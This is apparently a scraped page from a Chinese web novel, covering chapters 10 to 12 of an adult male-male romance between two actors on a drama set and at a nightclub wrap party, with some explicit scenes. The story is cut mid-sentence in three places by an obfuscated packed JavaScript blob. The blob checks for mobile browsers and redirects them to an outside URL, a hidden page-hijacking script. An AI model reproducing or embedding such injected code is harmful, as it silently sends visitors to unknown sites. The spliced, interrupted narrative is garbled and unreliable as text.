他在那摩拳擦掌,许亦清诧异地回头:“傻站着干嘛?拿两个碗。” “哦哦哦……”林钰赶紧走过去,从堆成山的脏碗筷里抽出两个面盘洗干净。 前后两份意面光卖相就有天壤之别,林钰一心三用,一边夸奖亦哥的厨艺、一边品尝嘴边的美食、一边酝酿着该怎么开口。迂回辗转还是打直球? 许亦清用叉子卷起意面塞嘴里,辨不出什么滋味。 其实和顾明钧在一起之前,他也不会做饭。漂到金城,为了节约伙食费才开始摸锅铲。 不过也许因为妈妈厨艺高明,他继承了这个天赋。 想起那个病逝的女人,许亦清的眼眸不自觉有些湿润。她温柔、贤惠,同时尊重他、理解他,知道他的取向也没有过多责备。 他领着顾明钧回家,她给他们做打卤面…… 病重的时候,她抓着他俩的手:“要……好好的……好好的……” 沙发靠背上摆着的钟表发出“嘀嘀”的轻响,许亦清如梦初醒,抬腕看看手表,九点了:“我该走了,不用送,我打车……” “亦哥、亦哥,先别走——”林钰转身抱起床边的吉他,“我写了一首歌,你能不能帮我听听?” 他看出许亦清心事重重,也看得出那心事里藏着旧情。正因如此,他更不能放人。 吉他的木色在灯下泛着柔光,许亦清眼眸中掠过一丝慌乱,可撞上林钰恳求的目光,还是点点头,坐回沙发一角。 林钰挨着他坐好,指尖轻扫琴弦,校了下音,跳动的音符伴随着略带沙哑的嗓音响起: "Morning spills its watercolor light across your quiet street…… I’m tracing every shade of gold that finds your cheek……" 林钰的嗓音相当有特色,弹奏的水平也很高明,许亦清却无法控制自己的思绪穿过那几根跳动的琴弦,回到十二年前的大学校园。 顾明钧抱着吉他坐在他必经的路上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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唇上传来温热地触感,强韧的舌尖轻叩他的牙关,只要给予一线缝隙,它便立刻破门而入,土匪般攻城略地——青年的气息是清新的、吻技是高超的,耳畔的喘息一声急过一声,把在腰上的双手逐渐勒紧——许亦清猛地一把将他推开,“对不起……我、我有些不舒服……” 他“噌”地起身,走到玄关,转身制止追过来的步伐:“别过来——我想一个人呆着。” 林钰在电脑前走来走去,心急如焚地等。 他笃定人在现实中有解不开的烦恼时,会不自觉地投入虚拟世界。果然,过了十一点,好友栏的“黑猫警长”头像终于被点亮。 他攥了下拳头,坐到电脑前,先丢过去一个组队邀请,两把打完,才装作随意地敲字:——好久不见,最近好吗? 明明两小时前,他才从他的公寓离开,但林钰在这方面毫无道德底线,急不可耐想要打探许亦清此刻的想法。 他没有拒绝他的吻,可也没有回应他的表白,到底算成功还是不成功呢? 情场上一向无往不利的人,第一次尝到抓心挠肺的滋味。 黑猫警长:“还好。” 偷心大盗:“你好像不开心?” 黑猫警长:“你有特异功能?” 偷心大盗:“抢人头都不积极。不会是——失恋了吧?”林钰斟酌片刻,决定单刀直入,聊了几年,他对这段交情有一定的把握。 果然,他的黑猫警长并未反感,发过来一张苦笑的表情包:“失恋很多年了。” 林钰眼珠一转,试探地敲道:“还执着于初恋吗?” 沉默片刻,他发过来一句:“在一起七年。” 没有否认那就是初恋了!七年?林钰讶异地挑眉,竟然这么久?那何止初恋……他的指尖悬在键盘上方,过了片刻才落下,“那岂不是——初吻、初夜……” 对面没有回复,显而易见地默认。 林钰心里顿时像打翻了五味瓶,酸涩难言。 之前也不是没谈过,他是从不在意这些的,当下快活最要紧。不知道为什么,这条放许亦清身上就洒脱不起来了。 ——后来没再谈过别人? ——没有。 靠!林钰一捶桌子,噼噼啪啪地敲击键盘: “其实是因为没有对比,所以才念念不忘吧?如果你试着跟别人交往,说不定就会发现之前那个并没有那么好……” “而且如果是很多年前的事,千万不要回头看,真那么爱就不会分,分了就是不够爱。你说是不是?” “爱情应该是美好的,带给人快乐,让你难过的人一定要让他死远点……” 10. 第 10 章 第二天,果然是公司派车来接许亦清去剧组。他暗自松了口气——突如其来的告白再加上那个吻,他一时间真不知道该怎么面对林钰。 那家伙的心思他大概是知道的,到底只有二十四岁,玩心重得很,一天到晚在剧组上蹿下跳,不光围着他转悠,也喜欢去服化道撩拨兜搭,“换香水了?给我闻闻……唔,不错。”“口红什么色号?挺适合你的。” 活脱脱一个现代版贾宝玉。 再加上戏里头汪逸阳对桑沐穷追猛打,动不动就说爱,时不时就亲一嘴,导演组似乎特别喜欢看他俩吻戏,原本剧本没有的,后头又硬是加了两场,什么“仓库偷吻”、“洗手间强吻”,怎么狗血怎么来。 这种情况下,林钰有点移情于他也不算稀奇。他要是当真,枉费多吃了这几年饭。 可刚跨进剧组大门,一道光鲜亮丽的身影带起一阵香风“嗖”地刮了过来。 金城已经进入深秋,早晚天凉,亮片闪烁的牛仔外套、同色系的贝雷帽倒扣在脑袋上,嘴里叼着根棒棒糖,一副等候多时的架势冲他伸出手:“我的早饭呢?” 上午他俩不同组,没想着能碰面,而且昨天说了剧组派车接他,许亦清自然没有准备他的早餐,只能两手一摊。 林钰立刻揪着他的袖子摇晃,露出十分委屈的神色,那双狐狸眼微垂,“亦哥,我好饿……” 明知道他在装,许亦清也只能掏出饭盒递过去:“给,你把我中餐吃了吧。” 林钰立马兴高采烈起来,一把薅过他的胳膊,五指顺着胳膊滑下去,滑到指尖接过饭盒,又附到耳边低声道:“中午等我一块吃饭。”一溜烟地跑了。 许亦清被他弄得起了一身鸡皮疙瘩,跺脚抖了抖,才摇头回了组里。 上午是他跟侯超的对手戏,自从网上传出那两个视频后,侯超在剧组的状况略显尴尬。 尽管姜施岳应对得体,星潮法务部还是约谈了他,同意合约到期自动解约并重点强调了“好聚好散”。侯超也是圈里老人了,爽快签了《霸爱》续集的宣发计划,这几天拍戏也老老实实,没再闹什么幺蛾子。 人未走,茶先凉,底下做事的人消息最灵通。侯超之前就是个难伺候的,诸多挑剔,剧组工作人员只能唯唯诺诺,如今知道他得罪公司高层拍完这部就要走人,立马敷衍起来。 只有许亦清对他还是老样子,既不热情攀扯也不抗拒排斥,说戏就说戏,不会掺杂些含沙射影的风凉话。 这倒让侯超略感心虚,其实《霸爱》第一季他俩关系还算过得去,剧里有化学反应,剧外有各项宣传,要不是为了恶心林钰,他也不太想把许亦清扯进来。 拍完一场,他跟许亦清站窗边看场务人员布置转场,冷不丁低声道:“搭档一场,我给你提个醒,林钰那小子不是什么善茬,少喝他的迷魂汤。” 林钰在剧组黏着许亦清压根不避讳任何人,侯超自然将他那些殷勤举动看在眼里,不然也不会拿这事做文章。 许亦清点点头,“谢谢你的提醒。” 侯超被噎了一下,颇有些不甘地续道:“那小子最会讨女人喜欢,公司那个不用说,啥事都向着他。集团那个苏总你总知道吧?大老板常驻国外,集团旗下文娱板块几乎就她说了算,我前两天听了个消息……” 他故作神秘,但许亦清不肯追着问,他只好泄气地撇嘴,“反正她跟林钰要没一腿,我名字倒着写!” 他在几个酒局上见过苏茜,众星捧月的女人不但身居高位,身段气质也是一流,可惜不好接近,他几次主动打招呼,都只混了个脸熟。 但林钰一来就与她相谈甚欢,散场的时候他留意了,两人一块走的。 他因而也跟林钰攀谈结交起来,只是没想到这小子这么可恶,一口一个“哥”,翻脸就不认人,抢戏抢得理所当然,丝毫没把他放眼里。 许亦清听了一耳朵八卦,也不发表看法。侯超顿觉无趣,悻悻走开了。 中午休息室,剧组放饭,许亦清拜托化妆师Cici:“帮我也带一份吧。” “许老师今天没有带餐?” “嗯……” “咚咚咚”几声,林钰径直推门进来,手里拎着个三层大饭盒,笑道:“亦哥,开饭啦!”又转头向Cici道:“我今天请喝奶茶,搁饭厅了,快去拿你喜欢的桂圆乌龙。” Cici笑嘻嘻带上休息室的门出去了,林钰将饭盒“乒乒乓乓”在小圆几上一一排布开。 许亦清坐着没动,想看看他到底耍什么花样。 林钰走到他身后蹲下来,两人视线在镜中相撞,他附在他耳朵边上,“清清,吃饭了……” 他声音本就偏低沉有磁性,粘在耳朵边上说话,耳廓里顿时一阵酥麻,尤其听到他说的内容,许亦清更是起了一身鸡皮疙瘩。 “你叫我什么?”他妈和顾明钧都没这么叫过他。 “清清啊,”林钰一脸理所当然,“男朋友应该要有专属称呼吧?” “谁是你男朋……” “嘘,先吃饭,”林钰一根手指压到他嘴边上,“冷了就不好吃了。” 他一把将许亦清拽到桌边:好家伙!还是他们常吃的轻食没错,但虾仁换成了波士顿龙虾尾,牛肉煎成一粒粒小方块铺在芦笋上,一看就是日料大厨的手笔。 “哪来的?”剧组在市郊,上哪去买日料。 “环线边上新开了一家omakase,老板是我朋友才肯外送的。” 许亦清忍不住皱眉,“你追女孩子也是这个套路?” 林钰叉起一粒牛肉塞他嘴里,不答反问,“你总算知道我在追你了?” “林钰……” “好了好了,不生气啊,”他满嘴哄小孩的口气,“今天是咱俩在一起第一天,总要有点仪式感吧?” “什么第一天……” “先吃饭!”他拉他胳膊坐下,“吃完我们再聊,你下午还有好几场戏呢。” 许亦清转念一想,倒也没错,话要说清楚但不急在这一时。早年不注意,落下了胃病,如今他三餐按点,很注意身体的养护,毕竟病了要靠自己扛,半夜胃疼挣扎着打车去医院的经历来一次就够了。 当下默不作声、坐下吃饭。 林钰跟他一块吃,一会递汤、一会拿水果,显得格外殷勤。 许亦清低头吃饭不抬眼,相处这两个月他也算了解这家伙的脾性,你越搭理他越来劲。 等吃完,林钰拆开一旁保温袋,将热毛巾双手奉上。 许亦清不客气地接过、擦手,刚要开口,林钰已经拾掇好餐具站起身,“清清,我得走了,台词还没背呢,跟你待一块,我静不下心。”他飞快地探头,在他耳朵边上印下一吻,“想你。Mua~” 一闪身出了休息室,“啪嗒”一声将门带上了。 许亦清愣愣站那里,半晌才回过神。这熊孩子是赖上他了? 《霸爱》续集接近结尾,施导要求补拍一些特写镜头,一直到晚上十点才收工。 许亦清跨上等候在场外的商务车,却见后排座蜷着个身影,睡得正香。 他转头问司机老张,“他怎么在这?不是自己开车吗?” 林钰听到动静,打着哈欠坐起身,“亦哥,我等你呢……” 许亦清瞟一眼老张,“你等我干嘛?”司机是各路八卦消息的来源,他半点也不想在公司听到关于他和林钰的风言风语。 “昨天那事咱俩不聊聊?让张哥送我们吧,我开车去你那,万一被拍到反而不好,这两天姜姐可头疼哩。” 他说得一本正经,许亦清却意会过来,这滑头!他当着司机的面,当公事来说,他就不好拒绝他造访他的私宅了。 如果说侯超泄露的两个视频只是让林钰和许亦清陷入舆论风波的话,影帝顾明钧的下场直接将这事推上了热搜。 连续两天都在热搜前十榜上挂着。 顾明钧实现“五奖大满贯”时接受采访说的那句话令狗仔们虎视眈眈,当年许亦清和顾明钧早晚出入同一场所是被拍到过实证的,核对一下时间线不难发现端倪,自然盯紧了他的动向。 三人站在停车场对峙的照片十分有看头,顾明钧去拉许亦清的胳膊,而一旁的林钰一脸要砍他手的表情,两男争一男,各大娱乐八卦新闻都将标题取得触目惊心:“男色误人/五奖影帝深陷三角丑闻”、“影帝与爱豆争美/谁输谁赢”、“旧事重提/娱乐圈‘深柜’众生相”…… 除了顾明钧的经纪团队,星潮的公关部和许、林两位的经纪人也颇为头疼。 炒CP是一回事,三角恋又是另一回事。这两天,林钰和许亦清在各大社交平台的账号粉丝量都有所上升,但基本是跑进来骂人的。 顾影帝从业多年拥趸甚多,何况他上一部戏跟女主角互动很好,CP粉纷纷跑过来骂林钰和许亦清蹭流量。 星潮还不能先发声,顾明钧咖位摆在那,得先看他那边怎么应对。 林钰早看到了新闻和照片,对狗仔把他拍得比顾明钧更显高大十分满意,实际两人官方身高一致,是拍摄角度问题。 “亦哥,我记得你说过,跟他不熟来着?”林钰略带质问地晃着手机上的照片。这是真把自个当正牌男友了。 许亦清皱眉,这小孩黏人且烦人,昨晚上亲了那一嘴,不给个交待是绕不过去了。 司机送他们到小区停车场,先下车四处梭巡确定无人盯梢后,才回到车上。 许亦清开口:“老张,麻烦你加个班,林钰最多一个钟头就下来。” 林钰笑眯眯地补充:“要是超过一个钟头你就先回去啊。” 司机两头都不能得罪,一个劲“是是是”。 许亦清没好气地瞥他一眼,率先走进电梯、按了密码。 他自从搬到这套房子,还是头一回来访客,没有客拖,而且林钰那脚至少比他大了两个码。他在柜里翻鞋套,一转头,林钰已经扒了外套和毛衣,穿件T恤,脚上踩着袜子,在房间里四处晃悠。 “手脚可真快……”反正地面有扫地机器人定时打扫,许亦清也就随他去了,将背包挂进衣帽间,想了想,没换衣服,穿着衬衫先给林钰倒了杯水。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……你先坐起来。”许亦清又羞又恼,使劲推他撑在他胸廓两侧的胳膊肘,却跟两根铁柱似的纹丝不动。 而且他很快感受到了第三根! 他瞪大眼睛,脸上的神情从惊诧变成了惊恐。 林钰一点不好意思的表情都没有,还不动声色地蹭了蹭,“亦哥,生理性的喜欢才是真的喜欢,我有多喜欢你,你感受到了吧?” 胯骨重叠,缓缓地摩搓……隔着西裤的面料,彼此的感受越来越真切。许亦清两只耳朵都红透了,空窗期长达五年,很久没有这方面的体验了,在这种攻势下身体不可控制地起反应。 “清清,你也喜欢我,别否认了……”林钰压低了嗓音,蛊惑般在他耳边低语,两片薄唇轻啜他的耳廓,舌尖竟然不安分地往耳孔里钻。 许亦清头皮一阵发麻,再也顾不得分寸,屈膝就往上顶。 林钰却是只狡猾的狐,一闪身歪到了沙发内侧,幽怨地嘟囔:“清清,我罪不至此吧……” “走开!不然我真火了!”许亦清挣扎着坐起身,他向来是被动型,跟顾明钧在一起也没这么疯过。 林钰这手段显然超出他的认知,他使劲搓着耳朵,狠声骂道:“能不能好好说话?不能就滚!” “我错了亦哥!下次再不敢了,”林钰立马改变策略,眼睛却盯着那张因为羞恼而在不经意间流露出一丝媚态的面孔,天啊,这男人怎么这么纯情?这样就受不了了?看样子顾影帝不行啊。 林钰规规矩矩坐直身体,口气也变得无比坦诚,“亦哥,你知道我第一次见到你是什么时候吗?” “不是一年前你刚进公司,是六年前,我高中毕业。” 他低垂着脑袋,娓娓道来:“那时我高考落榜了,觉得人生真是没意思透了。然后就看到荧幕上的你……” “我原本学的理科,跟家里说要走艺考、考戏剧学院。我爸虽然有点关系,也很费了番功夫才帮我搞定转科。他是工程师,拍戏、当明星在他眼里就是不务正业,直到走之前才原谅我的任性……” 许亦清震惊万分,林钰的表情和语气都充分说明他不是在撒谎。没想到他进入娱乐圈竟然还有他这个因素,不免|流露出几许慌乱。 林钰察觉到他的情绪,伸手攥住他手掌,抬起那双狐狸眼:“亦哥,你启发了我,只有站在闪光灯下,才能被更多的人看到,才能离喜欢的人更近……” “我说这事是想让你知道,我对你是认真的,但两个人合不合适,要交往才知道。我之前的确跟姜施岳谈过,”他轻咳一声,目光凝注在许亦清脸上,不放过他一丝一毫神情的波动,“一开始挺好,后来……感觉越来越不对,就做回了同事、朋友,”他再次强调他跟姜施岳之间的关系,“亦哥,如果你现在没有男朋友,要不要试着跟我交往?” 他压低了声音靠近许亦清,“爱情应该带给人快乐……” 许亦清莫名觉得这话有点耳熟。 “我一定会让你快乐的,”他在“快乐”两个字上咬重音,“要不要试试?” 11. 第 11 章 昏暗的卧室里,两道修长的剪影交叠,潮水般起伏。 许亦清汗湿的后背黏着床单,喘息似擂鼓,敲击着耳膜、震颤着神经。有力的臂膀铁箍般环住他,唇贴着他滚烫的耳廓,声音暗哑低沉带着蛊惑:“清清……清清……” 身躯骤然一紧,许亦清从梦中惊醒。 他翻身坐起,冷汗与热流混作一团。伸手一探,顿时露出几分难堪又懊恼的神色来。 床头手机“嘀”一声自动开机,微信提示音紧随其后。 他用干净的那只手拿过,打开一看:“早安清清!今天想吃金枪鱼沙拉卷,可以嘛?”[猫咪撒娇.gif] 许亦清恨恨将手机往床上一甩,裹着浴巾去了浴室。 自从他答应林钰会认真考虑他的提议,这家伙就跟牛皮糖一样黏了上来。 虽然在许亦清的一再警告下,在剧组的行为有所收敛,但微信上早晚安,早餐更是追着要,顺便追着问:考虑得怎么样了? 事实上,许亦清根本没打算再谈恋爱。 他熬了这么多年,事业刚刚有点起色,现阶段只想一心扑在工作上。 最难熬的时候都熬过来了,何必再重蹈覆辙?他跟顾明钧从校园走入社会,都闹到如今这个地步,林钰这种一看就不靠谱。 尽管他唯一的网友也是朋友——“偷心大盗”孜孜不倦地规劝他:“……过去就是用来翻篇的,你得试试新床单……啊不,新感情。” “哪有什么过去?早格式化了。再说——”隔着屏幕他脸不红心不跳地撒谎,“也不是什么合适的对象……比我整整小九岁……” “九岁算什么?八十二还娶了二十八呢。我虽然不在娱乐圈,但是也听说你们圈子找对象不容易,人家小狼狗都递 leash 了,你就遛一圈呗,睡一睡又不亏……” 从游戏公会加好友那天起,“偷心大盗”就像自带雷达,一眼锁定他的取向。打着直觉的口号询问过两次,许亦清没有否认。 取向是天生的,他并不以此为耻。但工作上他尽量避免别人因为外表或举止判断出这点,毕竟行业规则摆在那。 所以他十分配合上一家公司规划的硬汉路线,在健身房挥汗如雨地练肌肉,想要摆脱那张过分漂亮的脸带给别人的第一感觉。 可事实上并不成功,接演了两部动作戏都没有激起什么水花,网络上不少关于他“打戏还行,脸太出戏”的吐槽。 直到前年,生活中出现一些变故,他下定决心丢掉面子,下海演腐剧,才开始翻红。 《霸爱》之前他在原公司演的最后一部剧也是双男主,不过他只捞到个男三号,出演副CP中的右位角色,但立刻就被观众记住,粉丝量和话题度都节节上涨,才有了签约星潮、在《霸爱》担纲主役的机会。 续集还没拍完,经纪人已经在帮他接洽新剧本,这个端口他完全不想谈什么恋爱。他已经三十三,不抓紧机会工作赚钱,难道还要陪小屁孩玩恋爱游戏? 不过林钰这里不好打发,毕竟一个公司的同事,没必要撕破脸。何况他也没什么坏心,处处迁就、赔小心献殷勤,许亦清心里门清。只当他是入戏了,等剧拍完,各有各的工作,自然也就淡了。 所以他只管使用“拖”字诀。 可熊孩子不肯善罢甘休: “亦哥,你考虑好了吗?” “亦哥,咱俩试试吧,包你满意……” “……清清……清清……” 缠太紧,后遗症就来了——连梦里都被他按床上! 许亦清颇感羞耻,到了剧组把早餐往他手里一塞,转身就走,被林钰一把拖住。 “干什么?”许亦清皱眉甩开他胳膊,“放尊重点。” 林钰绕到他面前,狐狸眼眯成两弯月牙:“亦哥,你耳朵怎么又红了?” 许亦清懒得搭理,抬脚要走,袖口再次被揪住,“今晚的杀青宴你会去吧?” 许亦清点点头。 对任何剧组来说,杀青宴都是重要的一环,几个月并肩作战,最后一杯酒得喝,一句再见得说——不是轧戏或者像侯超这样得罪了剧组,基本都会参加。 施导大手一挥:“今晚收工‘三缺一’走起!” “亦哥,你去过‘三缺一’吗?” “听过,没去过。”‘三缺一’在金城名头很响,据说是圈里几个资深大咖合股开的。 许亦清是外省人,在金圈没什么根基,五年前那事更是让他社交清零,自然很少去这种场合,有空就窝家里看综艺翻剧本。 “楼上包厢音响是百万级的,咱俩唱一个?哥喜欢哪首?我提前练练。”林钰一脸兴致勃勃。 他那晚去许亦清家,进门就听到了音乐,跟他平时听的完全两个次元,好不容易有情歌对唱的机会,当然要好好把握。 “算了吧,我不太会唱歌。”许亦清皱眉推脱。 又撒谎!——林钰在心里给他记了一笔。 他看见他第一眼就听他姐说过,“不光长得好、身材好、歌也唱得好”。综艺考古cut他也扒过,男人弹着钢琴清唱,弹幕一水儿“开口跪”。 这么笃定他不会去翻他的旧历史吗? 林钰撇嘴,不过他早有准备,“蔡哥说花絮素材见底了,让今晚聚会的时候咱俩唱一个。” 公司在各大平台养了一堆营销号,经常多视角发送一些花絮片段,提高剧集的热度,引导粉丝磕糖,选角导演平时事少,会负责拍这些。 许亦清不好再拒绝:“你挑,别整高难度。” 等拍摄的间隙,他看着手机上的《知心爱人》瞪大眼睛:复古可以,复到上世纪是不是过分了? “唱不出口!”他敲击手机屏幕。 “那……《相思风雨中》?” “不会唱粤语。” “《迷路在云端》?” “调太高了。” “《一起流浪》?” “太低了。” 林钰发来一个崩溃的柴犬表情:“哥,你到底会唱啥?” “会沉默。” “……哥你是处女座吧?” 许亦清嘴角泛起笑意,眼尾弯出一点细纹。 手机嘀嘀声不停,连换好几首,林钰发过来一句:“没辙了……《类似爱情》行不行?” 爱情?还类似?许亦清头皮发麻,“不行。” “就这个吧就这个吧,好不好?国语歌我会唱的不多。” 眼角余光瞥见导演在招手,懒得再逗小孩:“行吧。”许亦清起身,将手机扔到一边。 今天两组错峰拍摄,许亦清戏份重,对自身要求高,只要摄影师不嫌麻烦,他就愿意配合一遍遍重来。 等到收工果然又是十点开外了。剧组人先去了大半,剩下两台商务车候在门口。 许亦清环顾一圈,没瞧见林钰。 丁颂迎上来,“亦哥,钰哥先过去了,让我留下等你。”自从两人炒CP上了热搜,公司一直派丁颂跟着。 两台车开到“酒吧一条街”,老远就看到三米高通顶恒温酒柜,上千只玻璃酒瓶拼成一面流光墙,内侧 4K 巨幕滚动着一行艺术字:三缺一——今晚缺的就是你! 入口处设计成老旧电影院的格局,一个硕大的红色“售票处”灯箱,掏出手机扫“电子票根”QR码,闸机撕票放人——仪式感拉满。 丁颂捡起箱子里掉落的一张卡片,冲许亦清扬了扬,龇牙笑道:“集齐四张可以兑换隐藏酒单哩。”看样子也没少来。 进了闸口,几个穿黑西装、戴墨镜的保安迎了上来,态度恭敬地引着一行人往里头走。 穿过一条纯黑走廊,两侧墙壁上一整排红外摄像头,地面是LED红毯,踩上去镁光灯爆闪,走到尽头AI机械臂递上刚抓拍的照片——“今晚第一张街拍”。 许亦清接过,嘴角抽了抽——照片风格实在太抽象!好在一片晕红的灯光,人影模糊也看不太出谁是谁。 丁颂在一旁小声嘀咕:“照片会直接上传到这个酒吧在各大平台的官方账号,粉丝们可以猜,您别说,再糊的照片都有人猜中。” 有些追星族看到自家偶像身影,会立马跟随来消费,酒吧经营者很有商业头脑。 绕过隔音玻璃舱,鼎沸的人声和乐声像巨浪拍过来,耳膜瞬间灌满低重音。 开阔的大厅里人头攒动、灯海翻涌,左右两侧各悬一块五十平米的LED巨幕,此刻屏幕上是两位DJ的身影。 左边的那位打扮潮流,黑色碳纤维马甲,胸口嵌着柔性屏,滚动着今晚的BPM数值。戴着墨镜、皮手套,指背装着微型激光灯,衣服里头大概走了微电流光纤,十分晃眼。 但几乎所有人的目光都被右边那一位牢牢攥住: 高挑身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487720|185710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段上套了件黑色半透网眼T,一身冷白皮闪闪发亮,光线的原因,两点粉色透网而出,性感得要命。 湿发背梳,似乎喷了混铁屑的发胶,此刻随音乐节奏甩着头,带起一片微光。 摄像头对准了他的脸,略凹陷的眼窝和挺直的鼻梁像是被刀锋削出的阴影。一抬头,隐形的“代码镜”曝露——虹膜里印着0与1,目光投递,令人有种被后台数据读取的错觉。 现场像烧开的水立刻沸腾起来——“Rex!Rex!I love you,Rex!” 一旁的丁颂忍不住跟着叫喊:“钰哥牛逼!钰哥威武!” 许亦清愣在原地——台上那妖孽是……林钰? 丁颂一个劲点头,凑他耳朵边上叫道:“钰哥最喜欢上这玩了!老板会做人又大方,每次都送好酒,钰哥有兴致就会帮忙打一套Set!” 他顺势蹦进舞池,双手高举,随着鼓点疯狂扭动,还不忘回头朝他猛挥手:“亦哥——下来嗨!” 许亦清双脚动了动,又收了回去。 《霸爱》不算大投资,很多戏服都是私服,收工就没换,身上还穿着衬衫、西裤、皮鞋,不适合狂欢。 可就算不下场,目光也忍不住投向圆台上的身影。 NF团发行的MV他刷过好几次,再酷炫的画面也只当是后期制作叠加的滤镜,可亲眼看见林钰站在舞台中央利落地打碟,引领着现场的人潮——许亦清不得不承认:有些人天生就是属于舞台的! 单看也不见得多么出挑,可如果把他扔进人群里,瞬间就能脱颖而出,再喧嚣的音乐、旁人再吸睛的穿着,也无法掩盖他的光芒。这就是舞台赋予的独特魅力。 许亦清心口微微一坠,像被什么轻轻挠了一下。 突然全场灯光闪烁,林钰缓缓举起右手,旁边DJ大喊一声:“NG!”——这是酒吧的游戏规则,听到这声必须原地静止10秒,谁移动头顶的追光就会跟随锁定。 常来玩的自然懂规矩,许亦清却是本能的转身,左右张望——他被这鼎沸跨越到寂静的刹那弄懵了。 光源和镜头啪地扣下来,把他从舞池边缘钉到了目光中央。两侧巨幕同步切出他的特写:白衬衫衬托出一张俊美无畴的脸,眼神里的欣赏还未散去,又涌上来一点茫然。 林钰站在高台上,一眼看见,嘴角立马翘起,一只手撑在台子上,闪身跳下,拨开人群,直直向他跑过来。 片刻寂静之后,人潮跟着奔涌窜动—— “啊!是许亦清!” “啊是我们Rex的CP!我说他今晚怎么在这里!” “天啊!他们约了一起泡酒吧吗?!不会是……” “姐妹!听我说,这次真的不一样!” 林钰抢在人群围拢前,攥住许亦清的手腕冲上旋转楼梯。身后手机闪光灯的“咔擦”声不绝于耳,稍后的网络平台上,两人牵手的照片再次登上热搜。 不过此刻两人顾不上这些,林钰嘻嘻哈哈地牵着许亦清,上了二楼也不肯放开。 二楼像另一个世界。楼下沸反盈天,楼上却暗得暧昧,静得只剩心跳。 这间酒吧的设计十分巧妙,一楼大厅极尽开阔,灯光和音乐都是目前金城最顶级的水准。只要消费就能进,没有限制。 但舞池两侧通往二楼的楼梯站着五六个牛高马大的保安,非请不能上去,来放松的圈里人基本集中在这层。 为了保护艺人隐私,并没有安装摄像头,员工另有通道出入,长廊蜿蜒,几枚氛围灯嵌在墙角。 许亦清还没喘匀,就被林钰压进墙壁与胸膛之间。他扣住他的手掌,指节挤进来,声音比梦里更低、更软:“清清……清清……” 他的呼吸比梦中更为灼热,裸露的皮肤滚烫地紧贴着他——显然躁动的音乐、汹涌的人潮又一次唤起了青年亢奋的本能。 许亦清慌了,掌心抵住他肩膀推搡:“林钰,松手——” “我不!”林钰低头,唇珠擦过他耳廓,一路蹭到颈侧,勾起一串火星,“亦哥,你今晚必须给我一个答复——肯定的答复!”他贴得更紧,心跳敲在许亦清胸口,“做我男朋友,好不好?” “两位,这里不是无人区!”斜后方包厢门被推开,一道高大的身影倚在门框。 顾明钧嘴角勾着笑,眼底却燃着火,目光像烙铁,死死钉在拉扯的两人身上。 12. 第 12 章 一个合格的前任就应该跟死了一样。 林钰深以为然。 他窝在沙发里,手里攥着罐啤酒,抬眼看着跟施导相谈甚欢的顾明钧,恨恨往嘴里灌了一大口。 他刚上包厢的洗手间取了那副酷炫的隐形眼镜,又换了一件圆领大T,缩在光线昏暗的角落,摆出一副借酒浇愁的架势,眼角的余光却时刻注意着那伙人的动静。 “三缺一”的老板是圈里人,二楼这个包厢是为接待剧组特设的,接近两百平,欧式宫廷风格的装潢:意大利进口的大理石地板铮亮,墙上镶嵌着实木护墙板,天花板顶部悬挂着巨型水晶吊灯,巴洛克风格的金箔屏风分隔出餐饮、唱K、棋牌几个区域,既能一块热闹又不互相打扰。 选角导演蔡顺回过头来朝林钰招手,示意他过去。 林钰头一偏假装没看见,蔡顺起身走过来拖他:“来呀,我给你们仨拍几段视频和照片,翎空赵总的面子可不能不给。” 顾明钧虽然成立了个人工作室,但挂靠的是金城业内第一的“翎空传媒”,前几天三人上热搜那事,虽然林钰和许亦清挨粉丝骂,但从商业角度对顾明钧多少有些负面影响。 翎空主动联络星潮,请顾明钧现身《霸爱》的杀青宴,再拍点三人同乐的照片和视频上传网络平台,以打破两男争美的传闻。星潮正推的这一对CP也能蹭一波热度,自然乐意配合。 林钰坐着不动:“我演技不好。” 这会让他跟顾明钧对视,他怕他想刀人的心思藏不住。 他站在圆台上看得很清楚,许亦清看他的眼神分明就是动心了,只要把握住机会,松口答应交往是必然的事情。 没想到半路杀出顾明钧这个程咬金,打断两人好事就算了,剧组一堆人还闻声而来,迎接贵宾般把顾明钧请进了预定好的包厢。 这角落是抽烟区,蔡顺点了根烟,知道林钰不抽,也没让,“你演技哪里不好了,看许老师那眼神,老哥我都要当真了……” 他斜着眼瞄他,带了点试探的意味,显然对林钰的心思有所察觉。 林钰跟他交情不错,对他为人也有把握,索性摊牌:“哥,不瞒你说,要不是亦哥,我也不会一次两次来烦你了。” 蔡顺小吃一惊,眯着眼睛,凑到林钰耳朵边上,“你之前不是跟姜……转性了?而且比你大了好几岁吧?姜施岳就比你大,你小子是有那啥情结啊……”. “去你的!”林钰一巴掌拍他背上,“什么乱七八糟,就……看对眼了!” 他一脸坦诚把蔡顺当自己人,蔡顺立马主动应承,“放心,哥这嘴巴你知道的。” 圈里规矩——能谈不能漏。尤其林钰还顶着个爱豆的名头,炒CP营业是一回事,真要谈恋爱估计得脱层皮。 “不过,”他顺着林钰的目光看了一眼跟施导坐一块的许亦清,“许老师……有那意思没?”他天天跟组,当然看得出许亦清对林钰的殷勤诸多回避。 “还差一点。”林钰颓丧地揪了把头发。几乎是顾明钧的声音一出现,许亦清便猛地一把将他推开了,显然这个前任对他仍有不小的影响力。 